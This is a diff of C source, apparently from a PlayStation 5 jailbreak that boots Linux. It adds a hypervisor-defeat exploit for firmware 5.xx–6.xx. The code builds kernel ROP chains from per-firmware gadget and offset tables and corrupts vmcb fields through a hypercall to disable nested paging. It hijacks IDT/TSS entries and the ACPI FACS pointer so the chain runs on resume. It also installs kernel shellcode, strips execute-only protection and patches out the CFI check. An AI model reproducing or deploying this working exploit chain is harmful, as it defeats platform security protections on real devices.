size_t shellcode_kernel_len) {
|
||||
uint64_t rop_buf[256] = {};
|
||||
uint64_t *rop = rop_buf;
|
||||
|
||||
if (vcpu != 0) {
|
||||
// Send IPI to vcpu.
|
||||
*rop++ = ktext + env_offset.GAD_POP_RDI_RET;
|
||||
*rop++ = 1 << vcpu;
|
||||
*rop++ = ktext + env_offset.FUN_STOP_CPUS;
|
||||
|
||||
// Clear stopped_cpus.
|
||||
*rop++ = ktext + env_offset.GAD_POP_RDI_RET;
|
||||
*rop++ = ktext + env_offset.STOPPED_CPUS;
|
||||
*rop++ = ktext + env_offset.GAD_POP_RSI_RET;
|
||||
*rop++ = 0;
|
||||
*rop++ = ktext + env_offset.GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET;
|
||||
*rop++ = 0xDEADBEEF;
|
||||
} else {
|
||||
// Corrupt NESTED_CTRL in vmcb via hv_unmap_pt_tmr hypercall.
|
||||
*rop++ = ktext + env_offset.GAD_POP_RDI_RET;
|
||||
*rop++ = tmr_id;
|
||||
*rop++ = ktext + env_offset.GAD_POP_RSI_RET;
|
||||
*rop++ = 0x1000;
|
||||
*rop++ = ktext + env_offset.GAD_POP_RDX_RET;
|
||||
*rop++ = 0;
|
||||
*rop++ = ktext + env_offset.FUN_HV_UNMAP_PT_TMR;
|
||||
|
||||
// Disable npt in all vmcb's.
|
||||
*rop++ = ktext + env_offset.GAD_POP_RSI_RET;
|
||||
*rop++ = NESTED_CTRL_GMET_ENABLE;
|
||||
for (int i = 0; i < 16; i++) {
|
||||
*rop++ = ktext + env_offset.GAD_POP_RDI_RET;
|
||||
*rop++ = pa_to_dmap(get_vmcb(i) + 0x90);
|
||||
*rop++ = ktext + env_offset.GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET;
|
||||
*rop++ = 0xDEADBEEF;
|
||||
}
|
||||
}
|
||||
|
||||
// Trigger vmmcall again to reload vmcb.
|
||||
*rop++ = ktext + env_offset.GAD_POP_RDI_RET;
|
||||
*rop++ = 0;
|
||||
*rop++ = ktext + env_offset.GAD_POP_RSI_RET;
|
||||
*rop++ = 0;
|
||||
*rop++ = ktext + env_offset.GAD_POP_RDX_RET;
|
||||
*rop++ = 0xffffffffffffffff;
|
||||
*rop++ = ktext + env_offset.FUN_HV_UNMAP_PT_TMR;
|
||||
|
||||
// Copy shellcode.
|
||||
*rop++ = ktext + env_offset.GAD_POP_RDI_RET;
|
||||
*rop++ = ktext + env_offset.KERNEL_CODE_CAVE;
|
||||
*rop++ = ktext + env_offset.GAD_POP_RSI_RET;
|
||||
*rop++ = kernel_cave_shellcode;
|
||||
*rop++ = ktext + env_offset.GAD_POP_RDX_RET;
|
||||
*rop++ = shellcode_kernel_len;
|
||||
*rop++ = ktext + env_offset.FUN_MEMCPY;
|
||||
|
||||
// Jump to shellcode.
|
||||
*rop++ = ktext + env_offset.KERNEL_CODE_CAVE;
|
||||
|
||||
kwrite(ist + 0x1000, rop_buf, (uintptr_t)rop - (uintptr_t)rop_buf);
|
||||
}
|
||||
|
||||
static void build_ipi_rop(uintptr_t ist, int vcpu, int tmr_id) {
|
||||
uint64_t rop_buf[256] = {};
|
||||
uint64_t *rop = rop_buf;
|
||||
|
||||
// Corrupt NESTED_CTRL in vmcb via hv_unmap_pt_tmr hypercall.
|
||||
*rop++ = ktext + env_offset.GAD_POP_RDI_RET;
|
||||
*rop++ = tmr_id;
|
||||
*rop++ = ktext + env_offset.GAD_POP_RSI_RET;
|
||||
*rop++ = 0x1000;
|
||||
*rop++ = ktext + env_offset.GAD_POP_RDX_RET;
|
||||
*rop++ = 0;
|
||||
*rop++ = ktext + env_offset.FUN_HV_UNMAP_PT_TMR;
|
||||
|
||||
// Disable npt in all vmcb's.
|
||||
*rop++ = ktext + env_offset.GAD_POP_RSI_RET;
|
||||
*rop++ = NESTED_CTRL_GMET_ENABLE;
|
||||
for (int i = 0; i < 16; i++) {
|
||||
*rop++ = ktext + env_offset.GAD_POP_RDI_RET;
|
||||
*rop++ = pa_to_dmap(get_vmcb(i) + 0x90);
|
||||
*rop++ = ktext + env_offset.GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET;
|
||||
*rop++ = 0xDEADBEEF;
|
||||
}
|
||||
|
||||
// Trigger vmmcall again to reload vmcb.
|
||||
*rop++ = ktext + env_offset.GAD_POP_RDI_RET;
|
||||
*rop++ = 0;
|
||||
*rop++ = ktext + env_offset.GAD_POP_RSI_RET;
|
||||
*rop++ = 0;
|
||||
*rop++ = ktext + env_offset.GAD_POP_RDX_RET;
|
||||
*rop++ = 0xffffffffffffffff;
|
||||
*rop++ = ktext + env_offset.FUN_HV_UNMAP_PT_TMR;
|
||||
|
||||
// Set stopped_cpus.
|
||||
*rop++ = ktext + env_offset.GAD_POP_RDI_RET;
|
||||
*rop++ = ktext + env_offset.STOPPED_CPUS;
|
||||
*rop++ = ktext + env_offset.GAD_POP_RSI_RET;
|
||||
*rop++ = 1 << vcpu;
|
||||
*rop++ = ktext + env_offset.GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET;
|
||||
*rop++ = 0xDEADBEEF;
|
||||
|
||||
// Call as_lapic_eoi.
|
||||
*rop++ = ktext + env_offset.FUN_AS_LAPIC_EOI;
|
||||
|
||||
// Pivot to iretq.
|
||||
*rop++ = ktext + env_offset.GAD_POP_RSP_RET;
|
||||
*rop++ = ist + 0x00;
|
||||
|
||||
kwrite64(ist + 0x00, ktext + env_offset.GAD_IRETQ);
|
||||
kwrite(ist + 0x30 + 0x08, rop_buf, (uintptr_t)rop - (uintptr_t)rop_buf);
|
||||
}
|
||||
|
||||
int hv_defeat_0506(void *shellcode_kernel, size_t shellcode_kernel_len) {
|
||||
// hvm_shm + tmr_id * 0x18 + 0x298 = vmcb0 + vcpu * 0x2000 + 0x90
|
||||
// tmr_id = ((vmcb0 + vcpu * 0x2000 + 0x90) - (hvm_shm + 0x298)) / 0x18
|
||||
int vcpu = get_vcpu();
|
||||
int tmr_id = (get_vmcb(vcpu) - get_hv_shm() - 0x208) / 0x18;
|
||||
|
||||
uintptr_t ist_gp = pa_to_dmap(alloc_page());
|
||||
build_gp_rop(ist_gp, vcpu, tmr_id, shellcode_kernel_len);
|
||||
kwrite64(ktext + env_offset.COMMON_TSS + 0 * sizeof(struct amd64tss) +
|
||||
offsetof(struct amd64tss, tss_ist6),
|
||||
ist_gp + 0x1000);
|
||||
setidt(IDT_GP, ktext + env_offset.GAD_ADD_RSP_28_POP_RBP_RET, SDT_SYSIGT,
|
||||
SEL_KPL, 6);
|
||||
|
||||
if (vcpu != 0) {
|
||||
uintptr_t ist_ipi = pa_to_dmap(alloc_page());
|
||||
build_ipi_rop(ist_ipi, vcpu, tmr_id);
|
||||
kwrite64(ktext + env_offset.COMMON_TSS + vcpu * sizeof(struct amd64tss) +
|
||||
offsetof(struct amd64tss, tss_ist7),
|
||||
ist_ipi + 0x30);
|
||||
setidt(IPI_STOP, ktext + env_offset.GAD_ADD_RSP_28_POP_RBP_RET, SDT_SYSIGT,
|
||||
SEL_KPL, 7);
|
||||
}
|
||||
|
||||
// During suspend, AcpiSetFirmwareWakingVector will corrupt its own pointer,
|
||||
// and during resume it will trigger #GP, thus executing our ROP chain.
|
||||
kwrite64(ktext + env_offset.ACPIGBL_FACS,
|
||||
ktext + env_offset.ACPIGBL_FACS - 8);
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -126,7 +126,7 @@ int fetch_linux(struct linux_info *info) {
|
||||
}
|
||||
|
||||
void *bzimage =
|
||||
mmap(NULL, ALIGN_UP(bzimage_size, 0x1000), PROT_READ | PROT_WRITE,
|
||||
mmap(NULL, ALIGN_UP(bzimage_size, PAGE_SIZE), PROT_READ | PROT_WRITE,
|
||||
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
|
||||
if (bzimage == MAP_FAILED) {
|
||||
notify("[-] Error could not allocate bzimage.\n");
|
||||
@@ -134,7 +134,7 @@ int fetch_linux(struct linux_info *info) {
|
||||
}
|
||||
|
||||
bzimage_size =
|
||||
read_file(bzimage_path, bzimage, ALIGN_UP(bzimage_size, 0x1000));
|
||||
read_file(bzimage_path, bzimage, ALIGN_UP(bzimage_size, PAGE_SIZE));
|
||||
if (bzimage_size < 0) {
|
||||
notify("Something went wrong while reading bzImage - Aborting\n");
|
||||
return -1;
|
||||
@@ -147,14 +147,15 @@ int fetch_linux(struct linux_info *info) {
|
||||
}
|
||||
|
||||
void *initrd =
|
||||
mmap(NULL, ALIGN_UP(initrd_size, 0x1000), PROT_READ | PROT_WRITE,
|
||||
mmap(NULL, ALIGN_UP(initrd_size, PAGE_SIZE), PROT_READ | PROT_WRITE,
|
||||
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
|
||||
if (initrd == MAP_FAILED) {
|
||||
notify("[-] Error could not allocate initrd.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
initrd_size = read_file(initrd_path, initrd, ALIGN_UP(initrd_size, 0x1000));
|
||||
initrd_size =
|
||||
read_file(initrd_path, initrd, ALIGN_UP(initrd_size, PAGE_SIZE));
|
||||
if (initrd_size < 0) {
|
||||
notify("Something went wrong while reading initrd - Aborting\n");
|
||||
return -1;
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
#include "hv_defeat_0304.h"
|
||||
#include "hv_defeat_0506.h"
|
||||
#include "loader.h"
|
||||
#include "prepare_resume.h"
|
||||
#include "utils.h"
|
||||
@@ -10,22 +11,29 @@ int main(void) {
|
||||
"is supported.");
|
||||
return -1;
|
||||
}
|
||||
if (hv_defeat_0304()) {
|
||||
notify("Something went wrong while defeating Hypervisor.\nPlease make sure "
|
||||
"your fw is supported.");
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (fetch_linux(&linux_i)) {
|
||||
notify("Something went wrong while installing linux files.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (prepare_resume()) {
|
||||
void *shellcode_kernel;
|
||||
size_t shellcode_kernel_len;
|
||||
if (prepare_resume(&shellcode_kernel, &shellcode_kernel_len)) {
|
||||
notify("Something went wrong while preparing resume.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
if ((0x0300 <= fw) && (fw < 0x0500)) {
|
||||
if (hv_defeat_0304(shellcode_kernel, shellcode_kernel_len))
|
||||
goto err;
|
||||
} else if ((0x0500 <= fw) && (fw < 0x0650)) {
|
||||
if (hv_defeat_0506(shellcode_kernel, shellcode_kernel_len))
|
||||
goto err;
|
||||
} else {
|
||||
goto err;
|
||||
}
|
||||
|
||||
notify("Finished preparation. Going to rest mode in 5 seconds.\nPlease wait "
|
||||
"for the orange light to stop "
|
||||
"blinking and then wakeup to Linux :)\n");
|
||||
@@ -38,4 +46,9 @@ int main(void) {
|
||||
}
|
||||
|
||||
return 0;
|
||||
|
||||
err:
|
||||
notify("Something went wrong while defeating Hypervisor.\nPlease make sure "
|
||||
"your fw is supported.");
|
||||
return -1;
|
||||
}
|
||||
|
||||
129
source/offsets.c
129
source/offsets.c
@@ -1,5 +1,7 @@
|
||||
#include "offsets.h"
|
||||
|
||||
#define KERNEL_TEXT 0xFFFFFFFF80210000
|
||||
|
||||
offset_list off_0300 = {
|
||||
.IOMMU_SOFTC = 0x33175E0,
|
||||
.VMSPACE_VM_VMID = 0x1E4,
|
||||
@@ -15,7 +17,6 @@ offset_list off_0300 = {
|
||||
.HV_CODE_CAVE_PA = 0x62806F00,
|
||||
.HV_HANDLE_VMEXIT_PA = 0x6282CBCB,
|
||||
.KERNEL_UART_OVERRIDE = 0x1EB0258,
|
||||
.KERNEL_DEBUG_PATCH = 0x0752460,
|
||||
.KERNEL_CFI_CHECK = 0x0441DD0,
|
||||
.G_VBIOS = 0x0734B5D0,
|
||||
.FUN_TRANSMITTER_CONTROL = 0x0B2A560,
|
||||
@@ -40,7 +41,6 @@ offset_list off_0310 = {
|
||||
.HV_CODE_CAVE_PA = 0x62806F00,
|
||||
.HV_HANDLE_VMEXIT_PA = 0x6282CBCB,
|
||||
.KERNEL_UART_OVERRIDE = 0x1EB0258,
|
||||
.KERNEL_DEBUG_PATCH = 0x07524A0,
|
||||
.KERNEL_CFI_CHECK = 0x0441E10,
|
||||
.G_VBIOS = 0x0734B5D0,
|
||||
.FUN_TRANSMITTER_CONTROL = 0x0B2A5A0,
|
||||
@@ -65,7 +65,6 @@ offset_list off_0320 = {
|
||||
.HV_CODE_CAVE_PA = 0x62806F00,
|
||||
.HV_HANDLE_VMEXIT_PA = 0x6282CBCB,
|
||||
.KERNEL_UART_OVERRIDE = 0x1EB0258,
|
||||
.KERNEL_DEBUG_PATCH = 0x7527F0,
|
||||
.KERNEL_CFI_CHECK = 0x442160,
|
||||
.G_VBIOS = 0x734B5D0,
|
||||
.FUN_TRANSMITTER_CONTROL = 0xB2AA60,
|
||||
@@ -90,7 +89,6 @@ offset_list off_0321 = {
|
||||
.HV_CODE_CAVE_PA = 0x62806F00,
|
||||
.HV_HANDLE_VMEXIT_PA = 0x6282CBCB,
|
||||
.KERNEL_UART_OVERRIDE = 0x1EB0258,
|
||||
.KERNEL_DEBUG_PATCH = 0x7527F0,
|
||||
.KERNEL_CFI_CHECK = 0x442160,
|
||||
.G_VBIOS = 0x734B5D0,
|
||||
.FUN_TRANSMITTER_CONTROL = 0xB2AA60,
|
||||
@@ -106,8 +104,8 @@ offset_list off_0400 = {
|
||||
.VMSPACE_VM_PMAP = 0x1D0,
|
||||
.DATA_BASE_GVMSPACE = 0x064C3F80,
|
||||
.HOOK_ACPI_WAKEUP_MACHDEP = 0x3A7613,
|
||||
.FUN_PRINTF = 0x4A3240,
|
||||
.KERNEL_CODE_CAVE = 0x500,
|
||||
.FUN_PRINTF = 0x4A3240,
|
||||
.FUN_HV_IOMMU_SET_BUFFERS = 0xB638F0,
|
||||
.FUN_HV_IOMM_WAIT_COMPLETION = 0xB63830,
|
||||
.FUN_SMP_RENDEZVOUS = 0xA6C920,
|
||||
@@ -115,7 +113,6 @@ offset_list off_0400 = {
|
||||
.HV_CODE_CAVE_PA = 0x62806F00,
|
||||
.HV_HANDLE_VMEXIT_PA = 0x6282B45D,
|
||||
.KERNEL_UART_OVERRIDE = 0x1F522A8,
|
||||
.KERNEL_DEBUG_PATCH = 0x77DA70,
|
||||
.KERNEL_CFI_CHECK = 0x45A170,
|
||||
.G_VBIOS = 0x72B7630,
|
||||
.FUN_TRANSMITTER_CONTROL = 0xB5AD50,
|
||||
@@ -140,7 +137,6 @@ offset_list off_0402 = {
|
||||
.HV_CODE_CAVE_PA = 0x62806F00,
|
||||
.HV_HANDLE_VMEXIT_PA = 0x6282B45D,
|
||||
.KERNEL_UART_OVERRIDE = 0x1F522A8,
|
||||
.KERNEL_DEBUG_PATCH = 0x77DAC0,
|
||||
.KERNEL_CFI_CHECK = 0x45A170,
|
||||
.G_VBIOS = 0x72B7630,
|
||||
.FUN_TRANSMITTER_CONTROL = 0xB5ADA0,
|
||||
@@ -165,7 +161,6 @@ offset_list off_0403 = {
|
||||
.HV_CODE_CAVE_PA = 0x62806F00,
|
||||
.HV_HANDLE_VMEXIT_PA = 0x6282B45D,
|
||||
.KERNEL_UART_OVERRIDE = 0x1F522A8,
|
||||
.KERNEL_DEBUG_PATCH = 0x77DB50,
|
||||
.KERNEL_CFI_CHECK = 0x45A170,
|
||||
.G_VBIOS = 0x72B7630,
|
||||
.FUN_TRANSMITTER_CONTROL = 0xB5AE30,
|
||||
@@ -190,7 +185,6 @@ offset_list off_0450 = {
|
||||
.HV_CODE_CAVE_PA = 0x62806F00,
|
||||
.HV_HANDLE_VMEXIT_PA = 0x6282B45D,
|
||||
.KERNEL_UART_OVERRIDE = 0x1F522A8,
|
||||
.KERNEL_DEBUG_PATCH = 0x77DC80,
|
||||
.KERNEL_CFI_CHECK = 0x45A1A0,
|
||||
.G_VBIOS = 0x72B7630,
|
||||
.FUN_TRANSMITTER_CONTROL = 0xB5AFF0,
|
||||
@@ -215,7 +209,6 @@ offset_list off_0451 = {
|
||||
.HV_CODE_CAVE_PA = 0x62806F00,
|
||||
.HV_HANDLE_VMEXIT_PA = 0x6282B45D,
|
||||
.KERNEL_UART_OVERRIDE = 0x1F522A8,
|
||||
.KERNEL_DEBUG_PATCH = 0x77DC90,
|
||||
.KERNEL_CFI_CHECK = 0x45A1A0,
|
||||
.G_VBIOS = 0x72B7630,
|
||||
.FUN_TRANSMITTER_CONTROL = 0xB5B420,
|
||||
@@ -224,3 +217,119 @@ offset_list off_0451 = {
|
||||
.PS5_WIFI_FW_OFFSET = 0x1393000,
|
||||
.PS5_WIFI_FW_SIZE = 493000,
|
||||
};
|
||||
|
||||
offset_list off_0550 = {
|
||||
// .IOMMU_SOFTC not needed
|
||||
// .VMSPACE_VM_VMID not needed
|
||||
.VMSPACE_VM_PMAP = 0x1D0,
|
||||
// .DATA_BASE_GVMSPACE not needed
|
||||
.ACPIGBL_FACS = (0xFFFFFFFF83C942A0 - KERNEL_TEXT),
|
||||
.IDT = (0xFFFFFFFF8745DCA0 - KERNEL_TEXT),
|
||||
.COMMON_TSS = (0xFFFFFFFF87460850 - KERNEL_TEXT),
|
||||
.STOPPED_CPUS = (0xFFFFFFFF87520DE0 - KERNEL_TEXT),
|
||||
.FUN_STOP_CPUS = (0xFFFFFFFF80CAC250 - KERNEL_TEXT),
|
||||
.FUN_AS_LAPIC_EOI = (0xFFFFFFFF804486A0 - KERNEL_TEXT),
|
||||
.FUN_HV_UNMAP_PT_TMR = (0xFFFFFFFF80DAA180 - KERNEL_TEXT),
|
||||
.FUN_MEMCPY = (0xFFFFFFFF80489DF0 - KERNEL_TEXT),
|
||||
.GAD_ADD_RSP_28_POP_RBP_RET = (0xffffffff80b94dd4 - KERNEL_TEXT),
|
||||
.GAD_IRETQ = (0xFFFFFFFF8044B02D - KERNEL_TEXT),
|
||||
.GAD_POP_RDI_RET = (0xffffffff803e8738 - KERNEL_TEXT),
|
||||
.GAD_POP_RSI_RET = (0xffffffff803a9270 - KERNEL_TEXT),
|
||||
.GAD_POP_RDX_RET = (0xffffffff8054d4f2 - KERNEL_TEXT),
|
||||
.GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET = (0xffffffff80603cba - KERNEL_TEXT),
|
||||
// .HOOK_ACPI_WAKEUP_MACHDEP not needed
|
||||
.KERNEL_CODE_CAVE = 0x500,
|
||||
.FUN_PRINTF = (0xFFFFFFFF804A7BD8 - KERNEL_TEXT),
|
||||
// .FUN_HV_IOMMU_SET_BUFFERS not needed
|
||||
// .FUN_HV_IOMM_WAIT_COMPLETION not needed
|
||||
.FUN_SMP_RENDEZVOUS = (0xFFFFFFFF80CAC830 - KERNEL_TEXT),
|
||||
.FUN_SMP_NO_RENDEVOUS_BARRIER = (0xFFFFFFFF804B3408 - KERNEL_TEXT),
|
||||
.HV_CODE_CAVE_PA = 0x62806F00,
|
||||
.HV_HANDLE_VMEXIT_PA = 0x6282DFEB,
|
||||
.KERNEL_UART_OVERRIDE = (0xFFFFFFFF82291488 - KERNEL_TEXT),
|
||||
.KERNEL_CFI_CHECK = (0xFFFFFFFF80678060 - KERNEL_TEXT),
|
||||
.G_VBIOS = (0xFFFFFFFF87673A50 - KERNEL_TEXT),
|
||||
.FUN_TRANSMITTER_CONTROL = (0xFFFFFFFF80DA1BD0 - KERNEL_TEXT),
|
||||
.FUN_MP3_INITIALIZE = (0xFFFFFFFF80BC1480 - KERNEL_TEXT),
|
||||
.FUN_MP3_INVOKE = (0xFFFFFFFF80BC01A0 - KERNEL_TEXT),
|
||||
.PS5_WIFI_FW_OFFSET = (0xFFFFFFFF8163EB30 - KERNEL_TEXT),
|
||||
.PS5_WIFI_FW_SIZE = 493532,
|
||||
};
|
||||
|
||||
offset_list off_0600 = {
|
||||
// .IOMMU_SOFTC not needed
|
||||
// .VMSPACE_VM_VMID not needed
|
||||
.VMSPACE_VM_PMAP = 0x1D8,
|
||||
// .DATA_BASE_GVMSPACE not needed
|
||||
.ACPIGBL_FACS = (0xFFFFFFFF83C04540 - KERNEL_TEXT),
|
||||
.IDT = (0xFFFFFFFF873CDDE0 - KERNEL_TEXT),
|
||||
.COMMON_TSS = (0xFFFFFFFF873D0A00 - KERNEL_TEXT),
|
||||
.STOPPED_CPUS = (0xFFFFFFFF87520DE0 - KERNEL_TEXT),
|
||||
.FUN_STOP_CPUS = (0xFFFFFFFF80CD13B0 - KERNEL_TEXT),
|
||||
.FUN_AS_LAPIC_EOI = (0xFFFFFFFF80451E60 - KERNEL_TEXT),
|
||||
.FUN_HV_UNMAP_PT_TMR = (0xFFFFFFFF80DD36B0 - KERNEL_TEXT),
|
||||
.FUN_MEMCPY = (0xFFFFFFFF804935B0 - KERNEL_TEXT),
|
||||
.GAD_ADD_RSP_28_POP_RBP_RET = (0xffffffff80bb6ad4 - KERNEL_TEXT),
|
||||
.GAD_IRETQ = (0xFFFFFFFF804547ED - KERNEL_TEXT),
|
||||
.GAD_POP_RDI_RET = (0xffffffff803f1ef8 - KERNEL_TEXT),
|
||||
.GAD_POP_RSI_RET = (0xffffffff803b2a30 - KERNEL_TEXT),
|
||||
.GAD_POP_RDX_RET = (0xffffffff803f321e - KERNEL_TEXT),
|
||||
.GAD_POP_RSP_RET = (0xffffffff8045a830 - KERNEL_TEXT),
|
||||
.GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET = (0xffffffff806141fa - KERNEL_TEXT),
|
||||
// .HOOK_ACPI_WAKEUP_MACHDEP not needed
|
||||
.KERNEL_CODE_CAVE = 0x500,
|
||||
.FUN_PRINTF = (0xFFFFFFFF804B1460 - KERNEL_TEXT),
|
||||
// .FUN_HV_IOMMU_SET_BUFFERS not needed
|
||||
// .FUN_HV_IOMM_WAIT_COMPLETION not needed
|
||||
.FUN_SMP_RENDEZVOUS = (0xFFFFFFFF80CD1990 - KERNEL_TEXT),
|
||||
.FUN_SMP_NO_RENDEVOUS_BARRIER = (0xFFFFFFFF804BD118 - KERNEL_TEXT),
|
||||
.HV_CODE_CAVE_PA = 0x62806F00,
|
||||
.HV_HANDLE_VMEXIT_PA = 0x62841CE0,
|
||||
.KERNEL_UART_OVERRIDE = (0xFFFFFFFF822D25C8 - KERNEL_TEXT),
|
||||
.KERNEL_CFI_CHECK = (0xFFFFFFFF806899B0 - KERNEL_TEXT),
|
||||
.G_VBIOS = (0xFFFFFFFF875DFA50 - KERNEL_TEXT),
|
||||
.FUN_TRANSMITTER_CONTROL = (0xFFFFFFFF80DCB210 - KERNEL_TEXT),
|
||||
.FUN_MP3_INITIALIZE = (0xFFFFFFFF80BE3A40 - KERNEL_TEXT),
|
||||
.FUN_MP3_INVOKE = (0xFFFFFFFF80BE27C0 - KERNEL_TEXT),
|
||||
.PS5_WIFI_FW_OFFSET = (0xFFFFFFFF81665C00 - KERNEL_TEXT),
|
||||
.PS5_WIFI_FW_SIZE = 494536,
|
||||
};
|
||||
|
||||
offset_list off_0602 = {
|
||||
// .IOMMU_SOFTC not needed
|
||||
// .VMSPACE_VM_VMID not needed
|
||||
.VMSPACE_VM_PMAP = 0x1D8,
|
||||
// .DATA_BASE_GVMSPACE not needed
|
||||
.ACPIGBL_FACS = (0xFFFFFFFF83C04540 - KERNEL_TEXT),
|
||||
.IDT = (0xFFFFFFFF873CDDE0 - KERNEL_TEXT),
|
||||
.COMMON_TSS = (0xFFFFFFFF873D0A00 - KERNEL_TEXT),
|
||||
.STOPPED_CPUS = (0xFFFFFFFF87520DE0 - KERNEL_TEXT),
|
||||
.FUN_STOP_CPUS = (0xFFFFFFFF80CD1390 - KERNEL_TEXT),
|
||||
.FUN_AS_LAPIC_EOI = (0xFFFFFFFF80451E60 - KERNEL_TEXT),
|
||||
.FUN_HV_UNMAP_PT_TMR = (0xFFFFFFFF80DD3690 - KERNEL_TEXT),
|
||||
.FUN_MEMCPY = (0xFFFFFFFF804935B0 - KERNEL_TEXT),
|
||||
.GAD_ADD_RSP_28_POP_RBP_RET = (0xffffffff80bb6ab4 - KERNEL_TEXT),
|
||||
.GAD_IRETQ = (0xFFFFFFFF804547ED - KERNEL_TEXT),
|
||||
.GAD_POP_RDI_RET = (0xffffffff803f1ef8 - KERNEL_TEXT),
|
||||
.GAD_POP_RSI_RET = (0xffffffff803b2a30 - KERNEL_TEXT),
|
||||
.GAD_POP_RDX_RET = (0xffffffff804c48da - KERNEL_TEXT),
|
||||
.GAD_POP_RSP_RET = (0xffffffff8045a830 - KERNEL_TEXT),
|
||||
.GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET = (0xffffffff806141fa - KERNEL_TEXT),
|
||||
// .HOOK_ACPI_WAKEUP_MACHDEP not needed
|
||||
.KERNEL_CODE_CAVE = 0x500,
|
||||
.FUN_PRINTF = (0xFFFFFFFF804B0C38 - KERNEL_TEXT),
|
||||
// .FUN_HV_IOMMU_SET_BUFFERS not needed
|
||||
// .FUN_HV_IOMM_WAIT_COMPLETION not needed
|
||||
.FUN_SMP_RENDEZVOUS = (0xFFFFFFFF80CD1970 - KERNEL_TEXT),
|
||||
.FUN_SMP_NO_RENDEVOUS_BARRIER = (0xFFFFFFFF804C05A8 - KERNEL_TEXT),
|
||||
.HV_CODE_CAVE_PA = 0x62806F00,
|
||||
.HV_HANDLE_VMEXIT_PA = 0x62841CE0,
|
||||
.KERNEL_UART_OVERRIDE = (0xFFFFFFFF822D25C8 - KERNEL_TEXT),
|
||||
.KERNEL_CFI_CHECK = (0xFFFFFFFF806899B0 - KERNEL_TEXT),
|
||||
.G_VBIOS = (0xFFFFFFFF875DFA50 - KERNEL_TEXT),
|
||||
.FUN_TRANSMITTER_CONTROL = (0xFFFFFFFF80DCB1F0 - KERNEL_TEXT),
|
||||
.FUN_MP3_INITIALIZE = (0xFFFFFFFF80BE3A20 - KERNEL_TEXT),
|
||||
.FUN_MP3_INVOKE = (0xFFFFFFFF80BE27A0 - KERNEL_TEXT),
|
||||
.PS5_WIFI_FW_OFFSET = (0xFFFFFFFF81665CC0 - KERNEL_TEXT),
|
||||
.PS5_WIFI_FW_SIZE = 494536,
|
||||
};
|
||||
|
||||
@@ -5,28 +5,96 @@
|
||||
#include "iommu.h"
|
||||
#include "offsets.h"
|
||||
#include "utils.h"
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
int prepare_resume(void) {
|
||||
int remove_xotext(void) {
|
||||
uint64_t start = ktext;
|
||||
uint64_t end = kdata;
|
||||
int n __attribute__((unused)) = 0;
|
||||
|
||||
for (uint64_t a = start; a < end; a += 0x1000) {
|
||||
page_chain_set_rw(a);
|
||||
n++;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
int kernel_pmap_invalidate_all(void) {
|
||||
static uint64_t two_zero_pages[PAGE_SIZE * 2] = {0};
|
||||
|
||||
int pipe_fds[2];
|
||||
|
||||
if (pipe2(pipe_fds, O_NONBLOCK)) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (write(pipe_fds[1], two_zero_pages, PAGE_SIZE * 2) < 0) {
|
||||
close(pipe_fds[0]);
|
||||
close(pipe_fds[1]);
|
||||
return -1;
|
||||
}
|
||||
|
||||
close(pipe_fds[1]);
|
||||
|
||||
uint64_t read_fd_file_data = kernel_get_proc_file(-1, pipe_fds[0]);
|
||||
|
||||
if (!INKERNEL(read_fd_file_data)) {
|
||||
close(pipe_fds[0]);
|
||||
return -1;
|
||||
}
|
||||
|
||||
uint64_t read_fd_buffer;
|
||||
kernel_copyout(read_fd_file_data + 0x10, &read_fd_buffer,
|
||||
sizeof(read_fd_buffer));
|
||||
|
||||
if (!INKERNEL(read_fd_buffer)) {
|
||||
close(pipe_fds[0]);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (!page_remove_global(read_fd_buffer)) {
|
||||
close(pipe_fds[0]);
|
||||
return -1;
|
||||
}
|
||||
|
||||
close(pipe_fds[0]);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int prepare_resume(void **shellcode_kernel, size_t *shellcode_kernel_len) {
|
||||
if (env_offset.KERNEL_CODE_CAVE == 0) {
|
||||
printf("Error: missing code cave offset\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Copy shellcode_kernel.
|
||||
*shellcode_kernel =
|
||||
mmap(NULL, ALIGN_UP(shellcode_kernel_bin_len, PAGE_SIZE),
|
||||
PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
|
||||
*shellcode_kernel_len = shellcode_kernel_bin_len;
|
||||
memcpy(*shellcode_kernel, shellcode_kernel_bin, shellcode_kernel_bin_len);
|
||||
|
||||
uint64_t args_va = prepare_sck_args();
|
||||
if (update_sck_args_ptr((uint64_t)shellcode_kernel_bin, args_va))
|
||||
if (update_sck_args_ptr((uint64_t)*shellcode_kernel, args_va))
|
||||
return -1;
|
||||
|
||||
uint64_t sck_va = ktext + env_offset.KERNEL_CODE_CAVE;
|
||||
kwrite_large(sck_va, shellcode_kernel_bin, shellcode_kernel_bin_len);
|
||||
// Install shellcode_kernel in kernel space.
|
||||
for (int i = 0; i < shellcode_kernel_bin_len; i += PAGE_SIZE) {
|
||||
install_page_syscore(kernel_cave_shellcode + i,
|
||||
vtophys_user((uintptr_t)*shellcode_kernel + i), 0);
|
||||
}
|
||||
|
||||
hook_call_near(ktext + env_offset.HOOK_ACPI_WAKEUP_MACHDEP, sck_va);
|
||||
if (remove_xotext()) {
|
||||
printf("Error: could not remove xo from text\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
kwrite8(ktext + env_offset.KERNEL_DEBUG_PATCH, 0xC3);
|
||||
kwrite8(ktext + env_offset.KERNEL_CFI_CHECK, 0xC3);
|
||||
|
||||
// Unmute uart.
|
||||
